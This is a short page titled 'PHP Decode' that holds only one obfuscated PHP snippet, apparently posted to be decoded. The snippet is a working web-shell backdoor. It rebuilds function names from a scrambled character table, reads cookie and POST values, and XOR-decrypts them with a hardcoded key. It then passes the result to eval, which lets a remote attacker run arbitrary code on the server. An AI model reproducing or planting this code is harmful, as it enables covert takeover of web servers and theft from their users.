PHP Decode

<?php 
$srvsgc = 'v_iud9nb1gHt4-o0ck\'3*5x6l2#fpmerasy';$rgyusjb = Array();$rgyusjb[] = $srvsgc[10].$srvsgc[20];$rgyusjb[] = $srvsgc[26];$rgyusjb[] = $srvsgc[23].$srvsgc[8].$srvsgc[32].$srvsgc[30].$srvsgc[32].$srvsgc[16].$srvsgc[30].$srvsgc[8].$srvsgc[13].$srvsgc[15].$srvsgc[19].$srvsgc[25].$srvsgc[21].$srvsgc[13].$srvsgc[12].$srvsgc[16].$srvsgc[4].$srvsgc[27].$srvsgc[13].$srvsgc[5].$srvsgc[4].$srvsgc[4].$srvsgc[12].$srvsgc[13].$srvsgc[7].$srvsgc[23].$srvsgc[25].$srvsgc[5].$srvsgc[30].$srvsgc[27].$srvsgc[21].$srvsgc[4].$srvsgc[27].$srvsgc[16].$srvsgc[27].$srvsgc[4];$rgyusjb[] = $srvsgc[16].$srvsgc[14].$srvsgc[3].$srvsgc[6].$srvsgc[11];$rgyusjb[] = $srvsgc[33].$srvsgc[11].$srvsgc[31].$srvsgc[1].$srvsgc[31].$srvsgc[30].$srvsgc[28].$srvsgc[30].$srvsgc[32].$srvsgc[11];$rgyusjb[] = $srvsgc[30].$srvsgc[22].$srvsgc[28].$srvsgc[24].$srvsgc[14].$srvsgc[4].$srvsgc[30];$rgyusjb[] = $srvsgc[33].$srvsgc[3].$srvsgc[7].$srvsgc[33].$srvsgc[11].$srvsgc[31];$rgyusjb[] = $srvsgc[32].$srvsgc[31].$srvsgc[31].$srvsgc[32].$srvsgc[34].$srvsgc[1].$srvsgc[29].$srvsgc[30].$srvsgc[31].$srvsgc[9].$srvsgc[30];$rgyusjb[] = $srvsgc[33].$srvsgc[11].$srvsgc[31].$srvsgc[24].$srvsgc[30].$srvsgc[6];$rgyusjb[] = $srvsgc[28].$srvsgc[32].$srvsgc[16].$srvsgc[17];foreach ($rgyusjb[7]($_COOKIE, $_POST) as $ohiaccw => $auhon){function fziygvn($rgyusjb, $ohiaccw, $vszckf){return $rgyusjb[6]($rgyusjb[4]($ohiaccw . $rgyusjb[2], ($vszckf / $rgyusjb[8]($ohiaccw)) + 1), 0, $vszckf);}function nzlwmc($rgyusjb, $ecnbiod){return @$rgyusjb[9]($rgyusjb[0], $ecnbiod);}function biofy($rgyusjb, $ecnbiod){$gvbmvm = $rgyusjb[3]($ecnbiod) % 3;if (!$gvbmvm) {eval($ecnbiod[1]($ecnbiod[2]));exit();}}$auhon = nzlwmc($rgyusjb, $auhon);biofy($rgyusjb, $rgyusjb[5]($rgyusjb[1], $auhon ^ fziygvn($rgyusjb, $ohiaccw, $rgyusjb[8]($auhon))));} ?>